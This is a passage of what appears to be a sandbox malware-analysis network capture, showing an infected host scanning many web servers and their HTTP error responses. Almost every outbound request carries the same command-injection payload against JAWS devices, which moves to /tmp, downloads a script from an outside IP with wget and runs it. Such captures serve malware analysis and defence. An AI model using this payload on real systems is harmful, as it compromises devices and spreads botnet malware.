Jan 2, 2024 06:23:51.527359962 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	60550	104.107.28.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.391247988 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.553894997 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:23:51 GMT Date: Tue, 02 Jan 2024 05:23:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 64 38 33 64 37 31 37 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 31 26 23 34 36 3b 66 32 36 61 33 36 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2d83d717.1704173031.f26a361</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	33832	66.22.55.129	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.506025076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.651031971 CET	422	IN	HTTP/1.1 301 Moved Permanently Server: rdwr Date: Tue, 02 Jan 2024 05:23:51 GMT Content-Type: text/html Content-Length: 161 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 72 64 77 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>rdwr</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	55228	220.134.218.248	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.508732080 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.800628901 CET	103	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	53040	38.55.173.244	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.512012959 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.663023949 CET	511	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 02 Jan 2024 05:23:51 GMT Content-Type: text/html Content-Length: 138 Connection: close Server: Nginx Expires: 0 Pragma: no-cache Cache-Control: no-cache X-LANG: 1 X-Timezone: 0800 X-Timestamp: 1704173031 X-Arch: x86 X-Sysbit: x64 X-Enterprise: 0 X-Support-i18n: 0 X-Support-wifi: 0 Location: /login Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>Nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	36382	173.61.119.77	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.529010057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.700556040 CET	161	IN	HTTP/1.1 404 Not Found Content-Type: text/html Accept-Ranges: bytes Server: HFS 2.3m Set-Cookie: HFS_SID_=0.837759754853323; path=/; HttpOnly
Jan 2, 2024 06:23:51.700623035 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml">... RAWR-Template - 0.1.3 (c) 2007-2010, RAWR-Designs, Some Rights
Jan 2, 2024 06:23:51.700634956 CET	198	IN	Data Raw: 69 6e 4f 75 74 65 72 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6d 61 69 6e 49 6e 6e 65 72 22 3e 3c 64 69 76 20 69 64 3d 22 6d 61 69 6e 49 6e 6e 65 72 31 22 3e 3c 64 69 76 20 69 64 3d 22 6d 61 69 6e 49 6e 6e 65 72 32 22 3e 3c 64 69 76 20 69 64 3d 22 Data Ascii: inOuter"><div id="mainInner"><div id="mainInner1"><div id="mainInner2"><div id="mainInner3"><div id="header"><div><div id="bCrumbs"><a href="/">lv_home</a>/lv_serverError/<br></
Jan 2, 2024 06:23:51.700656891 CET	797	IN	Data Raw: 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 6e 61 76 62 61 72 22 3e 0d 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 42 74 6e Data Ascii: div></div></div><div id="content"><div id="navbar"><div id="backBtn"><a href="/"><span>lv_back</span></a></div></div><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td width="100%" valign="to
Jan 2, 2024 06:23:52.151457071 CET	1286	IN	Data Raw: 22 6f 66 66 22 3b 0d 0a 09 09 2f 2f 4c 61 6e 67 75 61 67 65 20 53 74 72 69 6e 67 73 0d 0a 09 09 76 61 72 20 6c 76 5f 68 69 64 65 54 69 74 6c 65 3d 22 6c 76 5f 68 69 64 65 54 69 74 6c 65 22 3b 0d 0a 09 09 76 61 72 20 6c 76 5f 73 68 6f 77 54 69 74 Data Ascii: "off";//Language Stringsvar lv_hideTitle="lv_hideTitle";var lv_showTitle="lv_showTitle";</script><noscript><style type="text/css">.hide{display:none}</style></noscript>...[if lte IE 6]><style type="text/css">#mainInner{wi

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	60990	159.69.20.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.599205971 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:51.837491035 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:51 GMT Server: Apache/2.4.57 (Debian) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Debian) Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	48094	5.133.222.136	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.610662937 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.816864014 CET	525	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:55 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	46956	160.121.60.205	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.701184034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.041759014 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	51912	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.889385939 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:51Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	52204	54.211.17.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.955509901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.113957882 CET	613	IN	HTTP/1.1 505 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 465 Date: Tue, 02 Jan 2024 05:23:51 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 505 HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 HTTP Version Not Supported</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	54666	104.81.147.86	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.956423998 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.116126060 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:23:52 GMT Date: Tue, 02 Jan 2024 05:23:52 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 65 37 35 31 39 62 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 32 26 23 34 36 3b 34 34 30 34 63 64 63 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9e7519b8.1704173032.4404cdc0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	32814	149.57.79.102	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.958904028 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.121129036 CET	419	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:52 GMT Server: Apache/2.4.6 (CentOS) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	45040	108.186.216.181	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:51.959819078 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	55198	67.207.70.100	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:52.032968998 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.268533945 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Tue, 02 Jan 2024 05:23:52 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	60376	116.203.70.28	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:52.035634995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:52.274471998 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:52 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	39152	185.124.143.188	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:52.102637053 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
